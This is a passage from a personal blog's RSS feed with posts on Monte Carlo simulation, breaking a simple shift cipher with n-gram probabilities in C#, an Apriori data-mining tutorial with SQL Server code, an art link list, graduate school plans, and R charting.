}
</pre>
<p>Here is a little display I put together and as you can see, the results are very similar; they will not be exactly the same as there is a random component to all of this.</p>
<p><a href="http://eric.ness.net/wp-content/uploads/2011/05/1983634598.png"><img class="aligncenter size-full wp-image-577" title="1983634598" src="http://eric.ness.net/wp-content/uploads/2011/05/1983634598.png" alt="" width="577" height="360" /></a></p>
<p><a href="http://eric.ness.net/wp-content/uploads/2011/05/MonteCarloSimulation.zip">Download the code!</a></p>
<p><strong>Note:</strong><br />
There are a number of things to note here:</p>
<ol>
<li>This is nowhere near production code (read as good code) – it is simply for you to look at and get you going down the road to Monte Carlo Simulations. I think I spent all of 30 minutes putting it together so don’t expect anything nice and neat. :-)</li>
<li>I had to remove the Dundas graphing library, as I cannot distribute it per my license. But, it should work just fine with the <a href="http://www.microsoft.com/downloads/en/details.aspx?FamilyID=130f7986-bf49-4fe5-9ca8-910ae6ea442c&amp;DisplayLang=en">Microsoft graphing library</a>.</li>
<li>Enjoy!</li>
</ol>
<div class="shr-publisher-493"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/monte-carlo-simulations-in-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cryptanalysis Using n-Gram Probabilities</title>
		<link>http://eric.ness.net/archives/cryptanalysis-using-n-gram-probabilities/</link>
		<comments>http://eric.ness.net/archives/cryptanalysis-using-n-gram-probabilities/#comments</comments>
		<pubDate>Sat, 01 May 2010 09:35:31 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Natural Language Processing]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=472</guid>
		<description><![CDATA[Cryptanalysis Using Microsoft Web N-Gram Service]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fcryptanalysis-using-n-gram-probabilities%2F' data-shr_title='Cryptanalysis+Using+n-Gram+Probabilities'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fcryptanalysis-using-n-gram-probabilities%2F' data-shr_title='Cryptanalysis+Using+n-Gram+Probabilities'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><img class="alignnone" src="/wp-content/uploads/2010/05/cryptanalysis.jpg" alt="" width="577" height="360" /></p>
<p>One of my favorite programmers is <a href="http://norvig.com/">Peter Norvig</a> who is currently Director of Research at Google. This summer I picked up a book called <a href="http://oreilly.com/catalog/9780596157128">Beautiful Data</a> in which Norvig contributed a chapter called &#8220;Natural Language Corpus Data&#8221; in which he outlined a number of very cool things you can do with n-grams in the google  corpus. It covers some of the things you&#8217;d imagine that it would cover: spelling correction, word segmentation, etc. The one item covered that I had never considered was in the area of cryptanalysis.</p>
<p>The cool thing is that Google will give you their corpus to <a href="http://googleresearch.blogspot.com/2006/08/all-our-n-gram-are-belong-to-you.html">download</a>. The only problem is that it contains &#8220;1,024,908,267,229 words of running text&#8221; and is 24 GB compressed in size. This is a bit impractical to run on your dev box. Enter Microsoft &#8211; the <a href="http://web-ngram.research.microsoft.com/info/">Microsoft Web N-gram Service </a>just went Beta and is now available to Professors and Students so I immediately signed up and I have to say that it pretty cool!</p>
<p>So I wanted to try out the new service using one of Norvig&#8217;s examples in his book &#8211; specifically using n-gram probabilities and character shifting. This is a very simple example and fairly basic type of encryption where the if the user types an &#8216;a&#8217; it gets shifted to &#8216;n&#8217; or whatever. So you simply run through all 26 possibilities and use the individual words combined probabilities to determine the answer to the encoded message.</p>
<p>This project has a Service Refrence connected to <a href="http://web-ngram.research.microsoft.com/info/">Microsoft&#8217;s n-Gram Service</a>. The service requires an n-gram model and a user id which you get when you sign up (<a href="http://web-ngram.research.microsoft.com/info/quickstart.htm">see their quickstart tutorial</a>). So let&#8217;s take a look at some code:</p>
<pre class="brush: jscript; title: ; notranslate">
using System;
using System.Collections.Generic;
using System.Configuration;
using System.Linq;
using MicrosoftNGramTest.NGramService;

namespace MicrosoftNGramTest.classes
{
    internal class Shift
    {
        #region Variables

        private readonly string _alphabet = &quot;abcdefghijklmnopqrstuvwxyz&quot;;
        private readonly string _ngramModel = ConfigurationManager.AppSettings.Get(&quot;ngramModel&quot;);
        private readonly string _userToken = ConfigurationManager.AppSettings.Get(&quot;userToken&quot;);

        #endregion

        #region Run The Test

        /// &lt;summary&gt;
        /// Runs the test
        /// &lt;/summary&gt;
        public void Test()
        {
            // Print title
            Console.WriteLine(&quot;Character Shift Cryptanalysis&quot;);
            Console.WriteLine(&quot;#############################&quot;);

            // Local Variables
            const string phrase = &quot;Yvfgra, qb lbh jnag gb xabj n frperg?&quot;;
            string[] words = phrase.ToLower().Split(' ');
            var newPhrase = new string[26];
            var client = new LookupServiceClient();
            var result = new Dictionary&lt;string, int&gt;();

            try
            {
                // Loop the word variations
                foreach (string s in words)
                {
                    char[] currentWord = s.ToCharArray();

                    foreach (char c in currentWord)
                    {
                        for (int i = 0; i &lt; 26; i++)
                        {
                            newPhrase[i] += CharShift(c, i);
                        }
                    }

                    for (int i = 0; i &lt; newPhrase.Count(); i++)
                    {
                        newPhrase[i] += &quot; &quot;;
                    }
                }

                // Print phrases with probabilities
                foreach (string s in newPhrase)
                {
                    string[] newWords = s.Split(' ');
                    double prob = 0;
                    foreach (string word in newWords)
                    {
                        prob += client.GetProbability(_userToken, _ngramModel, word);
                    }
                    Console.WriteLine(s + &quot; &quot; + Convert.ToInt32(prob));
                    result.Add(s, Convert.ToInt32(prob));
                }

                // Print answer
                Console.WriteLine();
                Console.WriteLine(&quot;The answer is:&quot;);
                KeyValuePair&lt;string, int&gt; q = (from t in result
                                               orderby t.Value descending
                                               select t).FirstOrDefault();
                Console.WriteLine(q.Key + &quot; &quot; + q.Value);
            }
            finally
            {
                client.Close();
            }
        }

        #endregion

        #region Shifting

        /// &lt;summary&gt;
        /// Gets the alphabet array.
        /// &lt;/summary&gt;
        /// &lt;returns&gt;&lt;/returns&gt;
        private char[] GetAlphabetArray()
        {
            return _alphabet.ToCharArray();
        }

        /// &lt;summary&gt;
        /// Gets the current char array position.
        /// &lt;/summary&gt;
        /// &lt;param name=&quot;c&quot;&gt;The c.&lt;/param&gt;
        /// &lt;returns&gt;&lt;/returns&gt;
        private int GetCurrentCharArrayPosition(char c)
        {
            int position = 0;
            int count = 0;

            foreach (char letter in GetAlphabetArray())
            {
                if (letter == c)
                {
                    position = count;
                }
                count++;
            }
            return position;
        }

        /// &lt;summary&gt;
        /// Shifts the character.
        /// &lt;/summary&gt;
        /// &lt;param name=&quot;c&quot;&gt;The c.&lt;/param&gt;
        /// &lt;param name=&quot;increase&quot;&gt;The increase.&lt;/param&gt;
        /// &lt;returns&gt;&lt;/returns&gt;
        private char CharShift(char c, int increase)
        {
            const int numOfLetters = 26;
            char[] alphabet = GetAlphabetArray();
            int currentArrayPosition = GetCurrentCharArrayPosition(c);
            char letter = c;

            if (IsCharInArray(c))
            {
                if ((currentArrayPosition + increase) &lt; numOfLetters)
                {
                    letter = alphabet[currentArrayPosition + increase];
                }
                else
                {
                    int newPosition = (currentArrayPosition + increase) - numOfLetters;
                    letter = alphabet[newPosition];
                }
            }
            return letter;
        }

        /// &lt;summary&gt;
        /// Determines whether the char is in the array.
        /// &lt;/summary&gt;
        /// &lt;param name=&quot;c&quot;&gt;The c.&lt;/param&gt;
        /// &lt;returns&gt;
        /// 	&lt;c&gt;true&lt;/c&gt; if [is char in array] [the specified c]; otherwise, &lt;c&gt;false&lt;/c&gt;.
        /// &lt;/returns&gt;
        private bool IsCharInArray(char c)
        {
            bool isCharInArray = false;
            IEnumerable&lt;char&gt; q = (from t in GetAlphabetArray()
                                   where t == c
                                   select t);
            if (q.Count() &gt; 0)
            {
                isCharInArray = true;
            }
            return isCharInArray;
        }

        #endregion
    }
}
</pre>
<p>And here is the result!<br />
<img src="/wp-content/uploads/2010/05/crypt_results.jpg" alt="Results" width="577" /></p>
<div class="shr-publisher-472"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/cryptanalysis-using-n-gram-probabilities/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Art Post: Katie Lewis &amp; Graffiti Screen Prints</title>
		<link>http://eric.ness.net/archives/art-post-katie-lewis-graffiti-screen-prints/</link>
		<comments>http://eric.ness.net/archives/art-post-katie-lewis-graffiti-screen-prints/#comments</comments>
		<pubDate>Sat, 17 Apr 2010 00:47:54 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Art]]></category>
		<category><![CDATA[Link Roundup]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=463</guid>
		<description><![CDATA[I came across Katie Lewis's <a title="Katie Lewis" href="http://katiehollandlewis.com">portfolio site</a> today and I think it is amazing.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fart-post-katie-lewis-graffiti-screen-prints%2F' data-shr_title='Art+Post%3A+Katie+Lewis+%26+Graffiti+Screen+Prints'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fart-post-katie-lewis-graffiti-screen-prints%2F' data-shr_title='Art+Post%3A+Katie+Lewis+%26+Graffiti+Screen+Prints'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://eric.ness.net/wp-content/uploads/2010/04/artpost.jpg"><img class="alignnone size-full wp-image-464" title="artpost" src="http://eric.ness.net/wp-content/uploads/2010/04/artpost.jpg" alt="" width="577" height="360" /></a></p>
<p>I came across Katie Lewis&#8217;s <a title="Katie Lewis" href="http://katiehollandlewis.com">portfolio site</a> today and I think it is amazing.</p>
<p>I also wanted to post some various screen print sites that I like as well:</p>
<p><a href="http://www.imbueUK.com/">imbueUK</a></p>
<p><a href="http://feedyourwall.com">Feed Your Wall</a></p>
<p><a href="http://www.lazinc.com">lazinc</a></p>
<p><a href="http://www.prescriptionart.com">Prescription Art</a></p>
<p><a href="http://hanguppictures.com">Hang Up Pictures</a></p>
<p><a href="http://www.artrepublic.com">Art Republic.com</a></p>
<p><a href="http://www.auctionsaboteur.co.uk">Auction Saboteur</a></p>
<p><a href="http://www.handmadeposters.com">Hand Made Posters</a></p>
<p><a href="http://papermonster.net">Paper Monster</a></p>
<p><a href="http://airmonkey.co.uk">Air Monkey</a></p>
<p><a href="http://renegagnonfineart.com">Renegagn On Fine Art</a></p>
<p><a href="http://www.pureevilclothing.com">Pure Evil Clothing</a></p>
<p><a href="http://www.shopatlazarides.com/">Shop At Lazarides</a></p>
<p><a href="http://www.blkmrktgallery.com">Blk/Mrkt Gallery</a></p>
<p><a href="http://www.artnet.com/auctions/">ArtNet Auctions</a></p>
<p><a href="http://www.myartbroker.co.uk/">myartbroker.co.uk</a></p>
<p><a href="http://www.liveauctioneers.com/">liveauctioneers.com</a></p>
<p><a href="http://www.nowallsgallery.com">No Walls Gallery</a></p>
<p><a href="http://www.arttoko.nl">Art Toko</a></p>
<p><a href="http://www.galleryd-7.com">Gallery D-7</a></p>
<p><a href="http://www.zarts.com/">ZArts</a></p>
<p><a href="http://www.artfact.com/">Art Fact</a></p>
<p><a href="http://artwrx.co.uk">ARTWRX</a></p>
<p><a href="http://shop.inoperable.at/">INOP SHOP</a></p>
<div class="shr-publisher-463"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/art-post-katie-lewis-graffiti-screen-prints/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Software Engineering Masters</title>
		<link>http://eric.ness.net/archives/software-engineering-masters/</link>
		<comments>http://eric.ness.net/archives/software-engineering-masters/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 04:54:01 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Software Engineering]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=455</guid>
		<description><![CDATA[I am starting a masters in Software Engineering at the Harvard University Extension School.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fsoftware-engineering-masters%2F' data-shr_title='Software+Engineering+Masters'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fsoftware-engineering-masters%2F' data-shr_title='Software+Engineering+Masters'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://eric.ness.net/wp-content/uploads/2010/03/software_engineering.jpg"><img class="alignnone size-full wp-image-457" title="software_engineering" src="http://eric.ness.net/wp-content/uploads/2010/03/software_engineering.jpg" alt="" width="577" height="360" /></a></p>
<p>So I am starting a masters in Software Engineering at the <span style="text-decoration: line-through;">University of Maryland University College</span> Harvard University Extension School. I ended up checking out numerous programs and it was kind of interesting some of items that became important to me.</p>
<ol>
<li><strong>Online:</strong> I kind of knew that I would probably need a program that is at least partly online. This is mainly due to the fact that my work often requires me to travel often for up to two weeks at a time.</li>
<li><strong>Program Type:</strong> I am in kind of a weird place academically. I graduated with a Bachelors of Science in Information Technology even though I considered myself to be in the Computer Science program. I actually took all the required classes for the Comp Sci degree with the exception of all the math. This is now a bit of a detriment because I could have used about two more math classes that most masters programs require. It really leaves me at looking at Software Engineering or Business Intelligence DB programs.</li>
<li><strong>Computer Science Programs:</strong> Interestingly enough there are many aspects to Computer Science that I am not interested in: namely many programs have you focus in a particular area (i.e. graphics). The only focus area that really interests me is Machine Learning and often this gets put under AI &#8211; which often is not really the same.</li>
<li><strong>DC &#8211; Area:</strong> The DC area is kind of a strange place to look for schools. There are only a couple of programs that are actually convenient for me to travel to: George Washington, American, Georgetown, Howard and the University of the District of Columbia. But, truth be told I am actually not really interested in any of these schools for various reasons.</li>
</ol>
<p><strong>[Update] </strong>It&#8217;s been a while since I wrote this post but, I found out that Harvard actually has a great <a href="http://www.extension.harvard.edu/information-technology/default.jsp">software engineering program</a> and so I switched. There are some <a href="http://dceweb.harvard.edu/prod/sswcpgm.taf?function=search&amp;wgrp=ALMIT&amp;_UserReference=0A330526465412B5D5FF7ACF136C4C1591A4">awesome classes</a>, with <a href="http://harvardscience.harvard.edu/directory/researchers/henry-h-leitner">some</a> <a href="http://www.extension.harvard.edu/2010-11/about/faculty/jeff-parker.jsp">amazing</a> <a href="http://www.extension.harvard.edu/2010-11/about/faculty/david-albert.jsp">people</a>&#8230; and a <a href="http://www.extension.harvard.edu/2010-11/courses/23431.jsp?caller=dce">couple that scare the crap out of me</a>.</p>
<div class="shr-publisher-455"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/software-engineering-masters/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apriori Algorithm</title>
		<link>http://eric.ness.net/archives/apriori-algorithm/</link>
		<comments>http://eric.ness.net/archives/apriori-algorithm/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 00:43:31 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=445</guid>
		<description><![CDATA[Review of Apriori algorithm and changes.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fapriori-algorithm%2F' data-shr_title='Apriori+Algorithm'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fapriori-algorithm%2F' data-shr_title='Apriori+Algorithm'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://eric.ness.net/wp-content/uploads/2010/03/Apriori.jpg"><img class="alignnone size-full wp-image-449" title="Apriori" src="http://eric.ness.net/wp-content/uploads/2010/03/Apriori.jpg" alt="" width="577" height="360" /></a></p>
<p>I&#8217;ve been meaning to get in to the <a href="http://datamining.codeplex.com/">Data Mining SDK</a> at code plex for a while as it has a couple of good items in it. The one item I was really interested in was the <a href="http://en.wikipedia.org/wiki/Apriori_algorithm">apriori algorithm</a>.</p>
<p>Wikipedia describes Apriori:</p>
<blockquote><p>In computer science and data mining, Apriori is a classic algorithm for learning association rules. Apriori is designed to operate on databases containing transactions (for example, collections of items bought by customers, or details of a website frequentation). Other algorithms are designed for finding association rules in data having no transactions (Winepi and Minepi), or having no timestamps (DNA sequencing).</p></blockquote>
<p>The classic example is if you own a store and someone buys milk what is the probability that he will also buy bread and eggs or if voters in one state voted for one issue what is the chance he voted for something else. The applications for this approach are pretty much limitless.</p>
<p>The code in the SDK is pretty good with a couple of exceptions: there is little documentation and it only supports XML files and OleDb data connections. I have reworked it so it will also connect to a MSSQL database.</p>
<p>For this test application I created a simple C# Console Application and imported the &#8220;APriori&#8221; project in to the solution. In the APriori project you will to add these two bits of code to classes to the APriori project:</p>
<p>Add this method to DataAccessLayer.cs</p>
<pre class="brush: jscript; title: ; notranslate">
	public Data GetTransactionsData(string rdbmsConnectionString, string dataSource)
        {
            myDatabase = new Data();
            string query = &quot;SELECT * FROM &quot; + dataSource;
            var myConn = new SqlConnection(rdbmsConnectionString);
            var myDBAdapter = new SqlDataAdapter(query, myConn);

            myConn.Open();
            try
            {
                myDBAdapter.Fill(myDatabase, &quot;TransactionTable&quot;);
            }
            finally
            {
                myConn.Close();
            }
            return myDatabase;
        }
</pre>
<p>Add this method to DataMining.cs</p>
<pre class="brush: jscript; title: ; notranslate">
public Data MarketBasedAnalysis(double supportCount, double minimumConfidence, string connectionString, string dataSource)
        {

            Database database = new Database();
            ItemsetCandidate Item = new ItemsetCandidate();

            this.AP = new APriori.Apriori();
            this.AP.ProgressMonitorEvent += new ProgressMonitorEventHandler(this.OnProgressMonitoringCompletedEvent);
            this.dataBase = database.GetTransactionsData(connectionString, dataSource);
            database.Transactions = this.dataBase;
            this.transactionsCount = this.dataBase.TransactionTable.Count;

            supportCount = ((supportCount / 100) * this.transactionsCount);

            minimumConfidence = (minimumConfidence / 100);

            string support = &quot;SupportCount &gt;= &quot; + supportCount + &quot; AND Level &gt; 1&quot;;

            string sort = &quot;SupportCount, Level&quot;;
            ItemsetCandidate uniqueItems = AP.CreateOneItemsets(database);
            AP.AprioriGenerator(uniqueItems, database, Convert.ToInt32(supportCount));
            ItemsetArrayList[] keys = database.GetItemset(support, sort);
            string msg = &quot;Creating Frequent Subsets for Items&quot;;
            ProgressMonitorEventArgs e = new ProgressMonitorEventArgs(1, 100, 95, &quot;DataMining.MarketBasedAnalysis(3)&quot;, msg);
            this.OnProgressMonitorEvent(e);

            for (int counter = 0; counter &lt; keys.Length; counter++)
            {
                AP.CreateItemsetSubsets(0, keys[counter], null, database);
            }

            msg = &quot;Completed C#.NET Data Mining Market Based Analysis&quot;;
            e = new ProgressMonitorEventArgs(1, 100, 100, &quot;DataMining.MarketBasedAnalysis(3)&quot;, msg);
            this.OnProgressMonitorEvent(e);

            //Set the public properties of the class
            this.minimumSupportCount = supportCount;
            this.minimumConfidence = minimumConfidence;
            this.connectionString = connectionString;
            this.dataSource = dataSource;
            this.dataSourceCommand = dataSourceCommand;

            //return the database of transactions
            return this.dataBase;

        }
</pre>
<p>Here is my class in my console application</p>
<pre class="brush: jscript; title: ; notranslate">
using System;
using System.Data;
using VISUAL_BASIC_DATA_MINING_NET;
using VISUAL_BASIC_DATA_MINING_NET.CustomEvents;

namespace APr2.classes
{
    internal class testrun
    {
        private Data _dataAnalysis;
        public event ProgressMonitorEventHandler ProgressMonitorEvent;

        /// &lt;summary&gt;
        /// Runs the Apriori.
        /// &lt;/summary&gt;
        public void RunApriori()
        {
            // Create Data Mining Object
            var myDM = new DataMining();

            // Register Event
            myDM.ProgressMonitorEvent += OnProgressMonitorEvent;

            // Connect To Data Base &amp; Process Items
            _dataAnalysis = myDM.MarketBasedAnalysis(2,             // Support Count
                                                     2,             // Minimum Confidence
                                                     @&quot;Data Source=(local);Initial Catalog=Apriori;Integrated Security=True;&quot;, // Connection String
                                                     &quot;Example&quot;);    // Table in db

            // Copy to Data View
            var dataView = new ViewData();
            _dataAnalysis.Tables.Add(dataView.CreateViewRulesTable(2, _dataAnalysis).Copy());
            _dataAnalysis.Tables.Add(dataView.CreateViewSubsetTable(_dataAnalysis).Copy());

            // Spacer Line
            Console.WriteLine();

            // Print Items
            foreach (DataRow row in dataView.ViewDataSet.Tables[1].Rows)
            {
                double per = Convert.ToDouble(row.ItemArray[2].ToString().Substring(0, (row.ItemArray[2].ToString().Length -1)));
                Console.WriteLine(row.ItemArray[0] + &quot;\t&quot; + row.ItemArray[1] + &quot;\t&quot; + String.Format(&quot;{0:###.##%}&quot;, (per/100)));
            }
        }

        /// &lt;summary&gt;
        /// Called when [progress monitor event].
        /// &lt;/summary&gt;
        /// &lt;param name=&quot;sender&quot;&gt;The sender.&lt;/param&gt;
        /// &lt;param name=&quot;e&quot;&gt;The &lt;see cref=&quot;VISUAL_BASIC_DATA_MINING_NET.CustomEvents.ProgressMonitorEventArgs&quot;/&gt; instance containing the event data.&lt;/param&gt;
        public void OnProgressMonitorEvent(object sender, ProgressMonitorEventArgs e)
        {
            // Prints Event Messages
            Console.Write(&quot;\r&quot; + e.EventMessage);
        }
    }
}
</pre>
<p>Your MSSQL Code will be this</p>
<pre class="brush: jscript; title: ; notranslate">
GO
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE TABLE [dbo].[Example](
	[TransactionID] [int] IDENTITY(1,1) NOT NULL,
	[Transactions] [nvarchar](50) COLLATE SQL_Latin1_General_CP1_CI_AS NULL,
 CONSTRAINT [PK_Example] PRIMARY KEY CLUSTERED
(
	[TransactionID] ASC
)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY]
</pre>
<p>And these records:</p>
<pre class="brush: jscript; title: ; notranslate">
1	Books, CD, Video
2	CD, Games
3	CD, DVD
4	Books, CD, Games
5	Books, DVD
6	CD, DVD
7	Books, DVD
8	Books, CD, DVD, Video
9	Books, CD, DVD
10	Books, Games
11	Games, Lasers
</pre>
<p>Run the RunApriori() method in my class and it will yield you the correct results. Have fun.</p>
<p><a href="http://eric.ness.net/wp-content/uploads/2010/03/ap_full.jpg"><img class="alignnone size-full wp-image-448" title="ap_full" src="http://eric.ness.net/wp-content/uploads/2010/03/ap_full.jpg" alt="" width="577" height="369" /></a></p>
<div class="shr-publisher-445"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/apriori-algorithm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>UUorld Map Visualization</title>
		<link>http://eric.ness.net/archives/uuorld-map-visualization/</link>
		<comments>http://eric.ness.net/archives/uuorld-map-visualization/#comments</comments>
		<pubDate>Mon, 01 Feb 2010 20:50:28 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Visualization]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=423</guid>
		<description><![CDATA[UUorld has quickly become one of my new favorite toys as of late.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fuuorld-map-visualization%2F' data-shr_title='UUorld+Map+Visualization'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fuuorld-map-visualization%2F' data-shr_title='UUorld+Map+Visualization'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://eric.ness.net/wp-content/uploads/2010/02/blog.jpg"><img class="alignnone size-full wp-image-426" title="blog" src="http://eric.ness.net/wp-content/uploads/2010/02/blog.jpg" alt="" width="577" height="360" /></a></p>
<p><a title="UUorld" href="http://www.uuorld.com/">UUorld</a> has quickly become one of my new favorite toys as of late. What is it? As the site explains it &#8220;provides an immersive mapping environment, high-quality data, and critical analysis tools.&#8221;</p>
<p>Here is just a simple result of what the map looks like:</p>
<p><a href="http://eric.ness.net/wp-content/uploads/2010/02/example1.jpg"><img class="alignnone size-full wp-image-424" title="example1" src="http://eric.ness.net/wp-content/uploads/2010/02/example1.jpg" alt="" width="577" height="351" /></a></p>
<p>Here are some of the highlights:</p>
<ol>
<li>Supports time series data</li>
<li>Fairly extensive database to pull data from online (apparently of 10,000 different datasets)</li>
<li>Create you own datasets via csv files</li>
<li>Export to video</li>
<li>Export to KML file for use in google maps/earth.</li>
<li>Has the following border sets: Country, US States/Counties, US Zip Codes</li>
</ol>
<p>There is one caveat that I feel I must add to not give the impression that all is rosy &#8211; I bought the application over a week ago and it took several e-mails for them to reply to me and finally get my full download.</p>
<p><a href="http://eric.ness.net/wp-content/uploads/2010/02/example2.jpg"><img class="alignnone size-full wp-image-425" title="example2" src="http://eric.ness.net/wp-content/uploads/2010/02/example2.jpg" alt="" width="577" height="351" /></a></p>
<div class="shr-publisher-423"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/uuorld-map-visualization/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scatterplots Using R and MSSQL</title>
		<link>http://eric.ness.net/archives/scatterplots-using-r-and-mssql/</link>
		<comments>http://eric.ness.net/archives/scatterplots-using-r-and-mssql/#comments</comments>
		<pubDate>Fri, 27 Nov 2009 15:00:57 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Statistics]]></category>
		<category><![CDATA[Visualization]]></category>
		<category><![CDATA[R]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=412</guid>
		<description><![CDATA[Scatterplots Using R and MSSQL]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fscatterplots-using-r-and-mssql%2F' data-shr_title='Scatterplots+Using+R+and+MSSQL'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fscatterplots-using-r-and-mssql%2F' data-shr_title='Scatterplots+Using+R+and+MSSQL'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://eric.ness.net/wp-content/uploads/2009/11/scatterplotwithr.jpg"><img class="alignnone size-full wp-image-416" title="scatterplotwithr" src="http://eric.ness.net/wp-content/uploads/2009/11/scatterplotwithr.jpg" alt="" width="577" height="360" /></a></p>
<p>As an extension of <a href="http://eric.ness.net/archives/histogram-lattices-using-r-and-mssql/">yesterdays post</a> here is another fairly cool chart you can do in <a href="http://www.r-project.org/">R</a>. For this little sample we are using the same data as before but for my sql query I have to do a crosstab query. So lets take a look at the code:</p>
<pre class="brush: jscript; title: ; notranslate">
# includes
library(RODBC)

# create connection
channel &lt;- odbcConnect(&quot;HealthDB&quot;)

# query database
myData &lt;- sqlQuery(channel, &quot;SELECT
Country AS 'Country',
Year AS 'Year',
[96741] AS 'GDP growth (annual %)--WDI-2009',
[96841] AS 'GDP per capita (constant 2000 US$)--WDI-2009',
